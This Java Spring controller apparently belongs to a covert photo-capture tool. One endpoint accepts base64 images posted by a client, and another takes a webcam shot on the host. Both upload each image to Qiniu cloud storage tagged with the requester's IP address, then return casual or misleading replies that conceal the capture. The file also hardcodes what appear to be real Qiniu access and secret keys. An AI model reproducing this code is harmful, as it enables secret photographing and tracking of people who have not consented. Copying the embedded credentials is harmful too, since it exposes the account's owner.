package com.example.tokenphoto.controller;



import com.example.tokenphoto.utils.ImageUtil;
import com.example.tokenphoto.utils.IpUtil;
import com.github.sarxos.webcam.Webcam;
import com.github.sarxos.webcam.WebcamResolution;
import com.github.sarxos.webcam.WebcamUtils;
import com.qiniu.common.QiniuException;
import com.qiniu.http.Response;
import com.qiniu.storage.Configuration;
import com.qiniu.storage.Region;
import com.qiniu.storage.UploadManager;
import com.qiniu.util.Auth;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.springframework.mock.web.MockMultipartFile;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import java.awt.image.BufferedImage;
import java.io.*;
import java.net.URLDecoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.UUID;



@Slf4j
@RestController
public class TakePhoteController {

    //七牛云 公钥
    private final String accessKey="NbBbNUUv6tqSqTtrWXmzZFzO5duzvWNtKrvpRN3j";
    //七牛云 私钥
    private final String secretKey="QW-7U8r1-6zXDWiUtgG6pASG6tRjCxQzxjU0G0PY";
    //七牛云 仓库
    private final String bucket="t2t";

    //
    @PostMapping("/tt3")
    public String takePhone1(HttpServletRequest request,@RequestBody String photoData) throws IOException {
        log.info("1");
        photoData = photoData.replace("%3A",":")
                .replace("%2F","/")
                .replace("%3B",";")
                .replace("%2C",",");

        MultipartFile multipartFile = ImageUtil.base64ToMultipartFile(photoData);
        //获取id地址
        String ipAddr = IpUtil.getIpAddr(request);


        //保存到七牛云
        Configuration cfg = new Configuration(Region.huanan());
        //...其他参数参考类注释
        UploadManager uploadManager = new UploadManager(cfg);
        //设置连接地址
        Auth auth = Auth.create(accessKey, secretKey);
        try {
            //文件管理仓库
            String s = auth.uploadToken(bucket);
            String format = new SimpleDateFormat("yyyy-MM-dd").format(new Date());
            //生成文件名
            String s1 = "lookphoto/" + format + "_" + ipAddr+ "_" + System.currentTimeMillis() + ".png";
            //实现文件上传
            Response response = uploadManager.put(multipartFile.getInputStream(), s1, s, null, null);
        } catch (QiniuException e) {
            e.printStackTrace();
            return "哎，访问失败，你电脑可能缺少了某种东西";
        }
        return "你好啊";
    }


    @GetMapping("/t")
    public String takePhone(HttpServletRequest request) throws IOException {
        //获取id地址
        String ipAddr = IpUtil.getIpAddr(request);

        String filename =  UUID.randomUUID().toString().substring(0,32);

        Webcam webcam = Webcam.getDefault();

        if (webcam == null) {
            return null;
        }
        //设置清晰度
        webcam.setViewSize(WebcamResolution.VGA.getSize());
        //拍照
        WebcamUtils.capture(webcam,filename);
        //删除本地存储的照片
        File deleteFile = new File(filename+".jpg");
        boolean delete = deleteFile.delete();
        //获取图片
        BufferedImage image = webcam.getImage();
        //关闭 webcam
        webcam.close();
        //转化为MultipartFile
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ImageIO.write(image, "jpg", baos);
        byte[] bytes = baos.toByteArray();
        MultipartFile MultipartFile = new MockMultipartFile(filename, filename, "image/jpeg", bytes);
        //保存到七牛云
        Configuration cfg = new Configuration(Region.huanan());
        //...其他参数参考类注释
        UploadManager uploadManager = new UploadManager(cfg);
        //设置连接地址
        Auth auth = Auth.create(accessKey, secretKey);
        try {
            //文件管理仓库
            String s = auth.uploadToken(bucket);
            //生成文件名
            String s1 = "lookphoto/"+ipAddr+"-"+UUID.randomUUID().toString().replaceAll("-","").substring(1,20)+".jpg";
            //实现文件上传
            Response response = uploadManager.put(MultipartFile.getInputStream(), s1, s, null, null);
        } catch (QiniuException e) {
            e.printStackTrace();
            return "哎，访问失败，你电脑可能缺少了某种东西";
        }
        return "你好啊";
    }
}
